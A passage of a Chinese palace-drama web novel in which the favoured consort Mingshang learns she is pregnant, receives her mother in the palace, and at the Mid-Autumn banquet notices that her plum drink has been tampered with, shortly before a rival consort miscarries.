后宫嫔妃,姿容各异,争宠的手段也层出不穷。明裳自?认为自?己容色合那位的心意,那位宠她,大抵还有她自?幼习舞,身段软于后宫嫔妃的缘故。当初徐答应在圣前唱曲儿,不也同样是?得宠了一段日子。明裳担心也没用,当下最要紧的是?调理?好自?己的身子,至于徐美人如何,后宫不缺替她操心的人。 徐美人侍寝后,六宫嫔妃这才真正注意到这个新进宫的嫔妃。众人不禁暗暗猜测,皇上临幸徐美人,可是?宓贵嫔已经失了圣宠,这后宫的宠妃,又换上了新人。 一时?间后宫风向倾倒,徐美人风头正盛,下面的宫人自?然极力捧着,内务府挑拣着好东西一股脑往谨兰苑送。 徐美人这般风光,不免有人想要攀扯巴结,苦于没有路子,不由问到徐答应身上,同为徐姓,与徐美人可有姻亲?徐答应僵着笑脸,摇头说无?,那人则面露可怜之色。同为徐姓,有人有家世?倚仗,而有人什?么都没有。徐答应面上若无?其事,心底却恨得牙痒痒。 今儿徐美人又遣宫人到御前送了两本集子孤本,不必想,今夜大抵又是?徐美人侍寝了。 全福海已经有了准备,不想今儿不知吹的什?么风,宓贵嫔竟也来了御前。 他躬身上去迎,明裳有意描了妆容,眼尾涂抹了嫣红的脂粉,眉眼弯弯,好不艳丽。 她今儿本是?没心思到御前,因忽然想起,皇上曾在行宫承诺过她,准允娘亲进宫。回宫也有小半月,仍不见御前的动静,她实在坐不住了,才刻意收拾了一番,到御前探探口风。 全福海恭敬地做礼,“奴才请宓贵嫔安。” 明裳弯唇道?:“全公公不必多礼,不知这时?公公可方便替我到御前通禀一声。” 宓贵嫔聪明,要见皇上一向都会挑时?辰,这时?候皇上正无?事或习字或读史?或作画,全福海哪有不方便的,更何况来的人还是?宓贵嫔。 他转身进殿通禀,不出所料,皇上直接准了人进来。 殿内,李怀修正在习字,他偏爱碑文,笔走龙蛇,力透纸背,字字如风。 那女子进来,他眼皮未掀,让人伺候研磨。 明裳有求于人,故而听话,放下食盒,当真研起磨来。 题字写完,李怀修察觉今儿这女子似乎过于温顺安静了些?,他侧过身,这才掀眼,去看一旁乖乖研磨的女子。 自?回宫后还是?第一回见到这人,这女子容色生得好,即便不施粉黛,也十分好看。当下涂抹了脂粉,整张脸蛋粉得像春日的艳艳桃花,肌肤嫩得能掐出水来。 李怀修眯了眯眸子,抬手将?人带到怀中,女子猝不及防,伏到他胸口,偷偷瞄他,脸颊羞答答的,滚烫如血,还头一回见这女子这样,李怀修觉得新鲜,掐了把那嫩得很?豆腐似的脸蛋,轻挑地提了下唇线,“故意勾朕?” 这女子什?么样,他最是?清楚,满肚子的花花肠子,狡猾得像只小狐狸,又胆大包天。妆面画成这样,不是?故意讠秀他,还能是?因为什?么。 明裳抖着睫毛,纤细白皙的指尖揪着男人腰带,娇羞的模样,“回宫后,皇上一日也不来看嫔妾,嫔妾 都想皇上了!” 李怀修眉心跳了下,心绪竟因她这句话,生出一抹怪异的愉悦,他嘴边噙着笑,指腹捻着女子柔软的耳珠,“朕不去看你,你就不知道?自?己过来?” “嫔妾哪敢。”明裳哼哼唧唧的,推了把男人胸怀,娇声软语,“皇上召幸徐美人,嫔妾哪敢坏了皇上的兴致。” 不知为何,这女子提起他临幸后宫别的嫔妃时?,李怀修竟莫名发虚,好似自?己理?亏了般,他勾了勾鼻骨,轻咳一声,似是?无?意道?:“徐美人的外祖劳苦功高?,即便年逾耄耋,告老退隐后仍旧为国事奔走,朕是?怜她外祖一片拳拳之忱。” 至于是?何事,李怀修并未与这女子说,念此他又不禁淡下脸色,倘若宋文进有徐老半分忠君为民之心,他也不至于日日看那把老骨头不顺眼。 徐氏女精习史?书,但?毕竟是?拘于闺中的女子,所言所谈,都是?借书中大家,他看得出,并未点破。自?行新政后,前朝不缺有才学的能臣,因而在后宫中,他并非是?真的喜欢这样的女子。然他是?皇帝,需要这样的手段,也需要后宫相互牵制的嫔妃。徐氏女,是?最好的人选。 他正想着,猝不及防,下颌贴上一瞬柔软,那女子眼眸雪亮,正环着他的腰身,像个妖精似的跟他撒娇,“嫔妾不管,皇上好久都没搭理?嫔妾了,皇上不知这些?日子,下面宫人们待嫔妾都散漫得紧。” 李怀修脸色一沉,“当真如此?” 他搂住女子的腰,厉声,“混账东西,谁敢怠慢你就说与朕,朕自?会重重惩治。” 明裳噗嗤一笑,眼波流转,姿容娇艳欲滴,明艳得不可方物,“皇上待嫔妾这么好,嫔妾都不知道?该怎么报答嫔妾了。” 女子今儿描了唇珠,红润丰腴,似若丹霞。 简直让人,食髓知味。 李怀修幼时?饱读圣贤书,在皇子们日日与晓事宫女通习人事之事,他则觉敦伦之乐最为索然,不如御射快哉,在去岁之时?,他甚至仍旧这么认为。 …… 他抚着女子娇喘微微的脸蛋,忍不住失笑,“怎的这般没用。” 明裳皱着鼻子气闷地哼了声,别过脸,不想说话。 李怀修忽觉这番情?形过于熟识,曾几何时?,皆是?因此,荒唐过后,这女子缕缕触碰他的底线,而他也是?一而再再而三的纵容。 李怀修头疼地压了压眉心,倒底是?又遂了这女子的意,“朕让全福海把私库的对册给?你,想要什?么,自?己挑拣着搬回你的永和宫。” 听到好处,明裳终于动了动耳尖儿,眸子一抬,那张让他又爱又恨的脸蛋,正像个小狐狸打着算盘,“皇上准许嫔妾拿多少??” 李怀修好整以暇地盯她,“要看朕的爱妃想要多少?。” 这位头一回唤她爱妃,明裳居然有些?不自?在,怪羞人的,尤其两人刚做完那档子事儿。明裳可不好糊弄,每每都要讨点甜头回去。 她伸出十根纤纤的手指。 李怀修姑且点头。 这女子倒还知晓分寸。 明裳自?然知晓分寸,她真正想要的,是?接下来这位的一道?旨意。 女子抬眸,眼波潋滟,“不知皇上还记不记得,答应过嫔妾的事。” 李怀修丹凤眼微暗,抬手勾住明裳的下颌,指腹在那细白的皮//肉上磨了两下,反问她,“朕应过你何事?” 他手上没用多少?力道?,被女子一推,就落了下来,明裳故作恼意,“嫔妾就知道?皇上给?忘了。” “在行宫时?,皇上分明应过嫔妾,准允嫔妾的娘亲进宫探望,回宫这么久,也不见皇上一道?旨意,皇上金口玉言,可不能反悔!” 那女子红艳艳的唇跟崩豆子似的,噼里啪啦,义正言辞,冷冷哼声,十分地不高?兴。 李怀修盯着她那张脸,忽时?面容寡淡地靠到銮座上,狭长的丹凤眸沉沉如水,“你今日过来见朕,百般婉转乖顺,就是?为了要见你母亲?” 不然还能是?因为什?么? 明裳眸子茫然一瞬,触到男人深沉如墨的眼中,呼吸倏然一滞,她不解,自?己是?又说错什?么话了吗?难不成,这位是?不悦方才她得寸进尺的幽幽怨怨? 她一时?竟摸不清这位的心思,轻咬了下唇瓣,指尖收紧,又扬起明媚的笑脸,娇声娇气地依入男人怀中,“嫔妾虽是?要见娘亲,可也真的是?想见皇上了,皇上多日不来永和宫,嫔妾思念皇上,整日食不下咽……” 这番变幻的表情?落在男人眼中,就是?坐实了她今日的来意。李怀修冷冷一笑,屈指掐住她又圆润了一圈的脸蛋,“食不下咽?” 明裳眼眸闪躲,支支吾吾,颇为心虚。实在是?御前的厨子手艺太好,近日疏于习舞,又不知为何,总是?想吃些?东西,才圆润了这么多。 这人以前身形纤瘦,如今长了些?肉,摸着手感甚好,尤其是?那两处,李怀修自?然地掠了一眼,又不动声色地移开。他松了手,早知她无?事不登三宝殿,今儿是?有求于他,才百般讨好,也在他意料之中,只是?,无?端的,他竟有一瞬失望。 李怀修敛了心思,嗤笑一声,“思念朕至此,朕合该甚是?欣慰了。” 男人说出的话冷嘲热讽,明裳脸蛋被嗤得通红,含糊急声,“嫔妾怎么不想皇上了,那皇上答不答应嫔妾嘛!” 李怀修笑意凉了下去,脸上没多少?表情?,抬了抬下巴示意她去看御案手令压下的圣旨。 明裳眼神?迷茫地侧过身子,抿唇觑了眼男人的脸色,小心翼翼地将?圣旨展开,她耳边听男人道?:“过几日就是?中秋,你父亲是?在中秋前几日才回京城,朕已拟好旨意,待前一日吩咐全福海持朕令,迎你母亲进宫。” 他早已安排好一切事宜,只是?近些?日子没得空见这女子,才耽搁下来。 明裳心潮翻涌,一时?哑声,居然不知此时?该如何应付面前这位君王。准允她母亲进宫这事儿,于这位而言不过一句话,但?对她却是?莫大的欢喜,她原以为只是?男人情?动时?哄她的随意之语,倘若她不提醒,早已忘到九霄云外,不想这位竟记着,还安排得这般妥当。 明裳不可能不感动,然她也清楚,这点小事,对这位根本算不得什?么。反倒是?她,急不可耐了些?,好似还惹了男人不快,明裳惊喜之余,又生出些?许的胆怯。 “嫔妾……” 她张了张口,正要说话,被李怀修清清冷冷地睨了一眼,她那些?话倏地就咽回了肚子。 李怀修确实没心思再听这女子说些?讨他喜欢的甜言蜜语,他心头莫名恼火,烦闷地拍了拍怀中人的腰臀,让她起来。 明裳觉得有些?莫名其妙,纵使她确实存着心思讨好,可为何这位好似比以往还要不耐烦,如此喜怒无?常,她蹙着眉尖儿正要起身,不知怎的,喉中忽然生出一股呕意。 第074章 第 74 章 全福海正在外面候着, 宓贵嫔进去好一会儿了,也不?见出来的动静,他琢磨什么时候传膳, 这时听见殿里皇上急声吩咐他, 去太医院传太医。全福海愣了下,没反应过来, 好好的,怎会又要传太医,却半点?不?敢耽搁, 立即领着小太监赶去太医院。 半个时辰后,内殿,明裳腹中仍旧犯恶心?,她抿了两口水,稍微压一压, 倚靠在男人怀中, 等?着太医诊脉。李怀修面容沉肃, 冷峻的眉眼压得?看诊的陈太医抬不?起头。 上回在行宫,就是他为宓贵嫔看诊,陈太医对这位主子的脉象有些了解, 他把脉过, 确定了脉象,神?情一松,忙退后一步,躬身道:“恭喜皇上,贵嫔娘娘的脉象是喜脉, 娘娘已有近两月的身孕了。” 明裳眸子惊异,先?朝男人看去, 她还没回过神?,眼珠乌黑,仿佛傻了一般。李怀修眼底一闪而过的亮色,大掌抚到?怀中女?子尚且平坦的小腹上,“看着朕做甚,自?己怀了身子也不?知小心?些。” “嫔妾哪里知道。”明裳声音软软的,想到?半个时辰前,还与这位在外殿胡来一通,耳根红了红,忍不?住心?惊,这孩子还是够结实的。 她转过脸,又问,“陈太医,本宫既有了两月身孕,在行宫为何尚未诊出?” 陈太医抹掉额头凉汗,解释道:“贵嫔娘娘服那药已久,稳住了身子,又因月份尚浅,那药虽有安胎之效,难免也将?脉象遮掩去了。眼下娘娘有孕,不?必再吃那药,待臣重新开一副汤药养身,便可保腹中皇嗣无恙。” 闻言,明裳这才安下心?,待陈太医出去开方子,她弯着眸子伏到?男人怀里,“如今嫔妾是两个人了,还有了皇上的孩子,皇上可不?能再凶嫔妾了。” 李怀修捏了捏她的脸蛋,嗤笑,“朕什么时候凶你了,要当娘了也不?知道守守规矩。” 怀里女?子轻哼了声,“方才在外殿皇上就凶嫔妾,脸色变来变去的,嫔妾都好生害怕,不?然嫔妾也不?会突然那般难受。” 提起片刻前的事,李怀修眼色怔了下,凝了这人稍许,见她真的不?明白,有些无奈,抚了抚她的小腹,“以后朕不?会了。” 她脸蛋红扑扑的,又得?寸进尺,软软幽怨,“孩子还在嫔妾肚子里呢,皇上还和嫔妾做那种事,毫无为父的表率。” 李怀修手掌一僵,脸色已是够难看,那时他哪知晓这女?子腹中已经有了。倒底是念她难受,他不?轻不?重睨了这人一眼,毕竟怀着他的孩子,李怀修没打算再跟这小女?子计较。 明裳终于知道了分寸,又温顺地哄了几句,见男人脸色有好转,松下心?神?,她侍奉圣驾已久,自?然知晓这位的底线,也知晓,这位偏喜欢她这般与他撒娇卖乖。 李怀修看着这女?子这副模样就有些头疼,明明后宫也不?缺貌美的嫔妃,为何偏偏是这女?子,偏偏是这副模样合他心?意。 前朝还有奏折要看,李怀修让她先?在寝殿歇着,自?己去了外殿批阅奏折,全福海伺候在旁,方才宓贵嫔的话?已经让他听得?心?惊肉跳,这才琢磨过来,有些看清后宫佳丽三?千,为何独独宓贵嫔在皇上眼里那般特殊。 大抵皇上是坐在高位久了,伴君的人皆是战战兢兢,小心?谨慎,鲜有宓贵嫔这般鲜明爱闹的性子,才得?皇上格外偏宠。 宓贵嫔则更是聪慧,拿捏得?住分寸,不?骄不?躁,反而愈发得?皇上喜欢。皇上坐拥江山,习惯了被?人捧着奉着,到?了这后宫里,自?然也喜欢如宓贵嫔这般柔弱貌美依附着君王,却有些小性子的女?子,宓贵嫔受宠,简直就是情理?之中,全福海想到?方才皇上得?知宓贵嫔有孕的悦色,愈发确信这个想法,后宫里还没有主子能做到?宓贵嫔这样。 明裳乍然得?知自?己有孕,还有些难以接受,她吃了安胎药,躺在床榻里尚难以入眠,睡不?着,索性起了身,唤宫人进殿伺候梳洗。 外殿,李怀修已经批阅了大半的奏折,听见传近的动静,朱笔在奏折尚落了几个字,眼也未掀,“怎么出来了?” 明裳卷起了衣袖,红袖添香,为男人研磨,“嫔妾心?里欢喜,觉得?现在也没那么难受了,有些睡不?着想做些事情。” 听见“欢喜”二?字,李怀修笔尖轻顿了下,想到?她得?知自?己有孕愣愣的表情,眼底泄出一丝笑意,唤宫人给她备了矮墩,免得?站久了累到?身子。 明裳坐下身时,正巧瞥见了御案放着的一本史册,她福至心?灵,忽然想起前不?久,听月香打探到?,徐美人侍寝,似乎就是因一本史册让这位龙心?大悦,得?以伴驾。 她眼眸觑了瞬旁边的男人,见这位没注意到?她,将?那本史册拿到?手中,翻看了两页。 上面做了很多批注,明裳知晓,这位会的笔法颇多,旁边的批注是皇上惯用的一种行楷。她不?喜读史,但好歹从小跟在父亲身边耳融目染,知晓一些学理?,因而也察觉出旁边所做批注的风格,鞭辟入里,字字珠玑,若是出自?寻常人之手,那人心?性必是虚浮作伪,只会高谈阔论,华而不?实之辈,然出自这位江山之主笔下,则就不?然了。 明裳正要再去翻下一页,耳边听男人一声浅浅的戏谑,“朕以为你只有看那些话?本子才能看得?这般入神?。” 御案的奏折剩寥寥几本,明裳被?说得?耳根一红,“嫔妾的诗书也是在家?中受过父亲指点?的。” 虞世行颇有才学,确实是可用之人,李怀修并不怀疑她父亲的学识,只是这女?子倒不像她父亲一手所教,他扫了眼这女?子翻看的一页,靠坐到?椅背上,忽生出些考究这女?子的心?思,问道:“你可知文英此人?” 明裳想了想,遂点?头。 李怀修漫不?经心?地拨了下拇指的扳指,又问,“你如何去看文英?” 明裳讶然,不?知这位是考她学问,还是有别的缘由。史书于文英所载有褒有贬,后人言辞亦是褒贬不?一,明裳也曾听父亲提起过此人,父亲对此人甚是赞服,甚至敬到?指着那些斥责文英之人破口大骂庸人的地步,即便那些骂文英的人早已不?在世上。明裳理?解父亲为何这般敬佩,也理?解为何有人将?一朝之倾覆都怪罪在一臣子身上,她并不?觉得?任何一方有错,若无纷争,何以出后世,一国?之气数将?近,早在国?之伊始,就已现出端倪,世人不?过具是史下车辙罢了。 她稍有思量,启唇道:“嫔妾是李魏之人,嫔妾觉文英此人有福泽天下之大才,若嫔妾是赵宋之人,嫔妾怕是要恨文英之入骨。” 李怀修生出兴致,挑眉问她,“为何?” 明裳寻了一张宣纸,挽袖点?入两点?,“文英只知居其位,安其职,却不?知在其时,谋其事。超越时度的改革即便是为国?为民,个中也必有所大损。” “今人借其之鉴故而感激,旧人蒙于其中故而厌恶,嫔妾敬他,但不?觉他可惜。士子科举,农者下田,工者锻造,商人谋利,古往今来,世上总要有文英,也不?缺文英。” 李怀修看着这女?子的眼色,已经慢慢变了,他神?色微怔,招手让这人过来,明裳合了史册放置到?御案上,被?男人揽入怀中,李怀修不?得?不?重新思考这女?子的性子,原以为这人只是惯会与他撒娇,依赖他的菟丝花,不?想会有这番言论,且与他的想法不?谋而合。 世人评价文英或褒或贬,或扼腕长叹,从未有人说过此话?,世上总有文英,也不?缺文英,总会有人碾入在历史青书的车轮之下,他担负大魏江山便是如此,世人都想坐这个位子,又有几人能知晓这位子上的艰辛,曾几何时为政事的惶惶难眠,一朝之帝王,又何尝不?是生前的文英,但天命如此,他从不?觉有何怨憎,只是谋该谋之事。 这女?子的性子,倒是与他有几分相像。 李怀修垂目吻了吻女?子的额头,手掌贴到?这人的小腹之上,低声沉笑,“你有这番见解,朕也不?必担心?,他日孩儿的性子若随了你,朕该如何头疼。” 明裳得?知男人对她的回答已是满意,手心?微松,又如往日娇气,撅唇不?悦,“嫔妾貌美聪慧,孩儿随了嫔妾的性子如何就让皇上头疼了。” 李怀修捏她脸蛋,“你一个够朕受的了,待来日再给朕添上一窝,朕怕是日日没个消停。” 两人言语笑闹,守门的小太监低头打了个盹,柔和的光泼洒入窗棂,映着御案后相拥的男女?,光阴似乎都悄然静谧。 李怀修捻着怀中人耳珠,想到?这女?子在他这从不?看那些书,问她,“方才为何翻看那本史册?” 明裳眼目移开,轻声软语,“嫔妾听说徐美人就是因为读史才得?皇上召幸。” 这女?子倒是不?跟他绕弯子。 “徐美人能为得?朕一句夸赞,日夜读史,你也想学她?” “嫔妾才不?要学徐美人。”明裳弯着眸子,伏入男人胸膛,“嫔妾知晓皇上身边不?缺有才学的人,皇上日日面对那些文理?,想必也厌倦了,嫔妾不?想得?皇上夸赞,只想让皇上高兴,皇上开心?,嫔妾就开心?。” 李怀修眼目稍暗,拂过怀中人颊边的青丝,神?色都柔和下来。 六宫中,也只有这女?子会如此。 他想到?什么,又低下声,“你如今有孕,也该有些赏赐。你父亲已提过官职,过几日你母亲进宫,朕作为嘉奖,赐你母亲诰命夫人,如何?” 明裳微怔,愕然地抬起眼。 …… 六宫翌日才知晓,宓贵嫔有了身孕,一时间都有些惊讶,不?过想来也是在情理?之中,宓贵嫔受宠已久,怀上皇嗣只在早晚。虽是这么想,得?知宓贵嫔有孕,心?里仍不?是滋味。宓贵嫔有福气,久承圣宠,又怀身孕,贵嫔之上就是妃位,待诞下皇嗣,皇上怕是真的要把她册封到?妃位上。 因之前调养得?好,明裳这一胎还算安稳,只是有时会吃不?下东西。 终于盼到?母亲进宫那日,她怀着身子,头三?个月还未稳,只能在寝殿里等?着,听到?外面小太监的通传,明裳眼睛一亮,扶着月香的手已有些迫不?及待。 珠帘撞到?一处发出清脆的响声,虞夫人先?一步进了殿,见到?珠翠华服的女?儿,眼眶倏然生泪,近前福身去做宫礼,明裳心?头一跳,忙上前扶住母亲,“又无外人,母亲不?必与湘湘拘这些礼数。” 明裳小字湘湘,是因母亲生她那日,父亲忽做一梦,梦中湘水汹涌而来,往岸边送一女?娃,梦醒之后,明裳便降生于世,故取乳名湘湘。 明裳是家?中独女?,从小伴在双亲身侧,入宫后,已有一年余,没与父母相见。她自?幼娇惯爱哭,前几日已不?断告诫自?己,不?要哭哭啼啼让母亲担心?,然真正母女?相见,鼻尖儿先?是发酸,扑倒母亲怀中,发鬓间珠翠钗环相碰,呜呜咽咽地哭了出来。一时间,伺候在侧的辛柳月香二?人也眼有潮湿,想到?主子入宫一年的经历,都有些心?疼。 虞夫人早知宫中艰辛,六宫嫔妃众多,久处深宫遇到?的风波不?比前朝少,当初她劝了又劝,那柳家?既无心?娶她的女?儿,便是不?嫁也罢,虞家?虽是寒门,可比上不?足比下有余,入赘一个夫婿并不?难,偏生女?儿这性子不?知像了谁,看着娇气,却是有主意的,打定了心?入宫,走到?今日,宫外的日日夜夜,她无时无刻不?求着神?佛庇佑湘湘,不?求荣华富贵,只求平安无虞。 她拿着帕子抹去女?儿脸上的泪水,“娘娘怀着皇嗣,身子金贵,仔细身子,万不?能再哭下去了。” 月香在一旁哽咽相劝,“是啊,主子,夫人入宫的时间短,主子快紧着时间,与夫人说说话?。” 明裳抽噎两声,这才稍稍止住,见母亲眼底的担忧,又暗道自?己不?争气,又让母亲担心?。 大抵是有孕后情绪敏感,明裳咬住唇,如以往若无其事地在母亲怀里撒娇,“湘湘是想娘亲了。” 虞夫人摇了摇头,指尖儿虚点?了点?明裳的眉心?,有些无奈,“娘娘如今入了宫,有了身孕,不?能再像以前一样的性子。这宫里不?比府上,规矩多,娘娘要切记。” 明裳闷闷地点?头,“湘湘都知道的。” 到?了午膳,明裳吩咐膳房做了母亲爱吃的饭食,因有母亲在,明裳倒不?觉难受,用膳都比往日要多。两人说着话?,好似又回到?了少时府中无忧无虑的日子。 虞夫人是在两日前才得?知女?儿有孕,来不?及准备,因外妇入宫又不?能拿太多物什,虞夫人也怕自?己拿的东西被?有心?人利用,反而害了女?儿,只带了一只金锁,是她早早为湘湘出嫁备下的,来时请太医查验过,确实无事,才拿到?永和宫。 用过午膳,殿外宫人通传,说是张嫔身边的大宫女?水琳遵主子吩咐,送了夫人些绸缎首饰并一株雪山灵芝,给夫人炖汤补身子。张嫔如今养着小皇子,不?缺衣裳首饰的用度,只是那株雪山灵芝极为罕见。 明裳让月香收了,又问了小皇子几句,水琳口齿伶俐,又说了几句讨喜的话?,哄得?虞夫人颇喜欢这丫头,得?了封赏,水琳没再多留下,请身出了永和宫。 “张姐姐是信得?过的,既是拿给母亲,母亲尽管收下就是。”明裳道。 虞夫人知这深宫中情谊难得?,大多不?过是利益相交,女?儿入宫后,他们夫妻二?人都有对宫中的消息格外注意,这张家?在先?帝时也是名门望族,可惜站错了队,才就此遭受打压,直至没落。 听说去岁张家?长房调离上京做了县令,长房夫人高氏则是留在京中,三?月前齐家?丧礼,她前去吊丧,那高氏还与她说过几句话?,态度亲热,大抵也是知晓宫中两家?女?儿交好,才做以如此。不?论如何,女?儿在宫中有所交好,相互依靠总要比孤零零的一人要好些。 到?后午,御前册封诰命夫人的圣旨就到?了永和宫,虞夫人知晓这道恩赐也是因为女?儿,一时心?绪复杂,女?儿得?圣宠是好事,可她也怕,君心?难测。她敛下思绪,领了圣旨,叩谢圣恩。 全福海又吩咐宫人拿来御前的赏赐,笑眯眯道:“皇上知晓贵嫔娘娘与夫人情深,因娘娘有孕,皇上口谕,特准娘娘乘辇轿送夫人离宫。” 明裳面露惊讶,不?论朝臣命妇,入了宫门都要趿步而行,皇上只说赐母亲诰命,还未与她说赐辇轿,宫中辇轿,是莫大优容,她眼底的情绪一闪而过,与母亲再次叩谢圣恩。 快要落锁时分,虞夫人下了辇轿,拜别贵嫔,母女?分别,难掩不?舍。 此次一别,不?知何时再见相叙,落日余晖中,虞夫人望着女?儿已经全然不?同入宫前活泼明媚的模样,心?里堵得?生疼,她眼里渐渐闪出泪光,只是强忍着没掉出来,手臂慢慢将?女?儿揽入怀中,谆谆叮嘱,“臣妇在宫外一切都好,娘娘在宫里切记也要兀自?珍重。” “臣妇不?求富贵荣华,只求娘娘一生安然如故。” 明裳吸了吸鼻尖,哽咽点?头,忍住了心?中涩意。 …… 景平宫 贤妃哄着小公主睡下了,见珠帘轻动了下,她招来乳母看好景和公主,抬步去了外殿。 禀事的宫人垂首恭敬地站着,见娘娘出来,上前了一步,贤妃挥退下殿内伺候的宫人,坐到?窄榻里,眉眼淡淡,“虞夫人出宫了?” 打探消息的宫女?回道:“因宓贵嫔怀了皇嗣身子不?便,皇上特赐的辇轿,准允宓贵嫔送其母亲离宫。” 贤妃把玩着手串的指尖儿轻顿,不?徐不?疾地抬起眸子,嘴中含着这几个字“特赐辇轿”,她唇角勾了勾,只道了一句,“宓贵嫔殊荣。” “奴婢还打探到?……”站在下首的宫女?欲言又止,触到?娘娘的眼色,低下声,“后午,杨才人去了趟御前,好似是因为景和公主,在汉白玉台阶跪了两个时辰,仍不?得?皇上召见,最后力竭晕了过去,被?送回了承明宫。” 贤妃拂过指尖,眼神?透出一丝冷凝,“杨才人性子够刚硬。” “不?过给了本宫的东西,想再从本宫手中拿走,可没那么容易。” …… 后日中秋,这日问安,皇后正教导六宫宴席事宜,“今年皇上的意思是要大办,从五品以上嫔妃皆可参宴。” 外场的嫔妃闻言面上生喜,起了身做礼,感念皇上娘娘恩德。 请安散去,明裳与张嫔说了几句话?,各自?离开。贤妃这时才走上前把人拦住,“宓贵嫔可有闲暇,陪本宫到?御花园中赏赏秋景?” 明裳对贤妃一直有所警惕,贤妃能不?倚靠皇嗣,做到?妃位,得?协理?六宫大权,可见是个聪明人。她不?愿与贤妃多有交集,正要推辞,贤妃嘴唇翕动,无声道了一个“杨”字。 御花园中,杨才人降位禁足,不?能抚养景和公主后,徐答应就不?再与杨才人走动,她一向是跟随后宫风向,如今宓贵嫔风头正盛,她在思量该如何与宓贵嫔攀扯上干系,只是想到?她之前犯下的那些事,把人得?罪彻底,就有些头疼。 如此想着,便有些心?不?在焉,无意冲撞了正迎面过来的杨才人。 待明裳与贤妃走进御花园,隔着流水的假山,就瞧见了杨才人倚仗高于徐答应的位分,扬手就朝徐答应的侧脸打了一掌。徐答应捂住侧脸哭哭啼啼,未遮掩眼底的恨色。 如此好戏,两人并未看上多久,走远后,贤妃嘴边浮着笑,意味深长,“杨才人的性子,还是没变,宓贵嫔以为呢?” 明裳眼眸无意扫过贤妃所戴的护甲,抚养景和公主后,大抵是怕刮伤小公主,贤妃的护甲便没了那么多繁琐的花纹,可见,她也是不?想失了这个孩子,不?然也不?会找上自?己。 …… 中秋宴那日,明裳一早起身梳妆,母亲进宫那回,已经私下说过,柳絮白外放同州府一年,中秋宴也不?会回京。明裳稍有放心?,她坐在妆镜前由着宫人挽好发髻,待收拾妥当,动身去了建章宫。 宫宴伊始,帝后入席,殿内众人起身参拜吾皇万岁,大魏千秋。 李怀修抬手让众人起身,随之殿内升起伶人歌舞。 帝位旁座是皇后席位,往下便是贤妃,再往下一位就是位份到?了贵嫔的明裳,那女?子有孕,李怀修让人给她添了解腻的梅子汁。 明裳正与张嫔说着话?,手边就多了一盏清甜的汁水,她眸子眨了眨,德喜一脸讨好的笑,“皇上特意吩咐新做的梅子汁,给娘娘解腻。” 皇上这样关照她,也太特殊了些。明裳偷偷瞄了眼上位,正有朝臣起身说话?,那位没注意到?自?己这番小动作,明裳收了眼。 梅子汁确实好喝,很?快没了小半壶,宫女?退身出去,片刻,端进一小壶,俯身斟给明裳。那宫女?侍奉酒席,在席面的女?子侧眸之际,指尖微不?可查地轻点?了下茶盏的沿儿,动作一瞬间被?遮掩,她直起身子,将?手藏到?袖中,不?动声色蹭去了指尖的水渍。 茶盏中的梅子汁,无声地晃动了一下。 明裳低眸要去寻自?己的杯盏,将?要放去唇边,鼻翼下,浮出一股浅淡若无的气味,与梅子汁并不?相似,她擅香,不?会察觉不?到?。 见宓贵嫔动作微顿,身后,服侍的宫女?神?色忽地一紧。 张嫔并未察觉到?明裳的不?对之处,将?案上的栗子糕夹入碟中,余光瞥了眼下面的徐美人,侧声,“你瞧徐美人的脸色好似有些不?对。” 明裳眼眸流转,极为自?然地放下了手中的瓷盏,似是好奇一般,朝张嫔的眼光去看,“是有些不?对。” 张嫔微眯了眯眸子,“徐美人侍驾也有一段日子了。” 明裳听出了张嫔话?里的意思,倘若徐美人与她那时一般,月份尚浅,不?知自?己怀了身子,也不?是不?可能。 张嫔抚着孔雀蓝的护甲,不?免侧目多看了眼旁边的女?子,无意看见宓贵人一口未动的梅子汁,眉梢轻挑了下,若有所思地移开视线。 她挽袖夹了一筷席面的栗子糕,眼神?却是在自?己的酒水中停留了稍许。 宴过中旬,明裳迟迟没动,她仿若无事地与旁侧的张嫔谈笑风生,张嫔也好似并未察觉出异样,时而牵唇回话?,不?过问半句。 伺候侍酒的宫女?等?得?有些心?焦,眼睛紧紧瞄着案上的酒水,手心?汗意涔涔。 她心?中生疑,不?敢轻举妄动,趁人不?觉间,无声退身离开。 杯盏中的倒影离去,明裳嘴边的笑意也随之慢慢淡下,她侧过眸子,朝跟随在侧的月香递了一眼,月香在片刻前就注意到?主子的异样,时刻不?敢松神?,此时接到?主子的眼光,立即会意,不?动声色地退出了宴席。 明裳拨弄着指尖的丹蔻,与张嫔柔婉道:“倒是有些热了,张姐姐可要一把蒲扇?” 张嫔嗔笑打趣,“你惯是怕热,我是不?比你娇气的!” 九月的天本不?算炎热,但殿内人多,参宴的宫装又较平日的衣裳厚实,便是下面坐着的罗常在额角都沁出了薄汗,也就用帕子擦了擦,并未打扇。 不?消多时,月香捧着蒲扇回了席面,扇面绣着两朵芍药的绢花,明裳不?经意转眼,月香的视线正落向下首的杨才人。 片刻前,月香跟随那侍酒的宫女?,躲在假山后,见到?那宫女?神?色紧张,与伺候杨才人的云秀碰面。她怕惊动二?人,不?敢靠近 ,零星只听到?梅子汁三?字。 不?知杨才人让人在主子杯盏里动了什么手脚。月香俯身去倒温水,耳边听见主子说了二?字,她眸子一亮,将?案上未动梅子汁倒入茶盏,不?动声色收入袖中。 这番动静,自?然也收入了贤妃眼里,她不?轻不?重地抬了下腕间的手钏,声音清脆悦耳,两人目光相触,都看清了彼此眼中的意思。 席面将?要散去,未等?两人有所动作,下首嫔妃的席位忽地传来一声惊呼,“主子,主子怎么了!” 徐美人痛得?直不?起腰身,她脸血色褪尽,意识到?了什么,死?死?抓住翠菊的衣袖,拼尽了力气喃声,“快去,传太医!”翠菊面色吓得?惨白,这才有所反应,指了身后的宫女?去传太医,又赶紧让人禀明皇上。 邻近的嫔妃侧目向下看去,眼神?惊露骇色,陡然失手打翻了案上的酒水。 “徐美人的裙下,怎会有血迹!” 第075章 第 75 章 席上生乱, 中?秋宴草草散场,外朝官员命妇讳莫如深,纷纷快步离宫, 没人敢打探宫中?秘辛, 过问当今家事。 月香紧张地护在主子身前,明裳呼吸都停了停, 未想明白这究竟是怎么一回事,她倏然向上首去?望,皇上已?经?站起了身子, 疾步走下台阶,面色沉沉如水。 明裳也是有过怀了身子的经?历,徐美人这番情况,大抵是有身孕了,可惜自己尚不知情, 就出了意外, 不知可否还能保住腹中?皇嗣。 高位上, 贤妃也是一副茫然之色,她拧眉朝宓贵嫔去?看,后者看似也是心惊惶惶, 看来?宓贵嫔也不知情。贤妃抚住腕间的碧玺手钏, 眼光扫过下座的杨才人,起身的嫔妃挡住了杨才人的身形,贤妃看得?并不清楚。她无法判断,倒底是谁动的手。 事出突然,徐美人被?送去?了建章宫偏殿, 太医快步而来?,进了内殿为徐美人看诊, 